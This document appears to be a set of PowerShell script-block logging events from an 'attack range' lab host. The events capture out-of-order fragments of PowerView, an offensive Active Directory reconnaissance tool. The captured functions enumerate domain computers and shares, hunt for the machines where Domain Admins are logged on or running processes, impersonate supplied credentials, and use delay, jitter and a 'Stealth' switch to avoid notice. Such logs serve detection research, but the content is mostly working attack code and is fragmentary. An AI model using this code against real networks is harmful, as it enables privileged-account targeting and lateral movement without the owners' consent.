if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainShare] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainShare] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $CheckShareAccess, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# get the shares for this host and check what we find
$Shares = Get-NetShare -ComputerName $TargetComputer
ac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111958Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4148 = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}
# now build the user target set
if ($PSBoundParameters['ProcessName']) {
$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
ForEach ($Process in $Processes) {
# if we're hunting for a process name or comma-separated names
if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
# if the session user is in the target list, display some output
elseif ($TargetUsers -Contains $Process.User) {
$Process
}
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainUserEvent {
<#
.SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
.DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
.PARAMETER ComputerName
Specifies an explicit computer name to retrieve events from.
.PARAMETER Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
.PARAMETER Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events (per host) to retrieve. Default of 5000.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserEvent
Search for any user events matching domain admins on every DC in the current domain.
.EXAMPLE
$cred = Get-Credential dev\administrator
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
.EXAMPLE
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
.EXAMPLE
$cred = Get-Credential testlab\administrator
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
ac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111957Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4048Computer
ForEach ($Session in $Sessions) {
$UserName = $Session.UserName
$CName = $Session.CName
if ($CName -and $CName.StartsWith('\\')) {
$CName = $CName.TrimStart('\')
}
# make sure we have a result, and ignore computer$ sessions
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
# try to resolve the DNS hostname of $Cname
try {
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
}
catch {
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
}
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
if (-not $Stealth) {
# if we're not 'stealthy', enumerate loggedon users as well
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
$UserName = $User.UserName
$UserDomain = $User.LogonDomain
# make sure wet have a result
if (($UserName) -and ($UserName.trim() -ne '')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
$UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
$UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = Test-AdminAccess -ComputerName $TargetComputer
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-DomainProcess {
<#
.SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.
Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName. If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER ProcessName
Search for processes with one or more specific names.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainProcess
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
.EXAMPLE
Find-DomainProcess -ProcessName putty.exe
Searchings for instances of putty.exe running on the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserProcess
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,
[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack']ac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111956Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3948e or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER UserAllowDelegation
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
.PARAMETER CheckAccess
Switch. Check if the current user has local admin access to computers where target users are found.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER ShowAll
Switch. Return all user location results instead of filtering based on target
specifications.
.PARAMETER Stealth
Switch. Only enumerate sessions from connonly used target servers.
.PARAMETER StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserLocation
Searches for 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainUserLocation -Stealth -ShowAll
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
.EXAMPLE
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserLocation
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
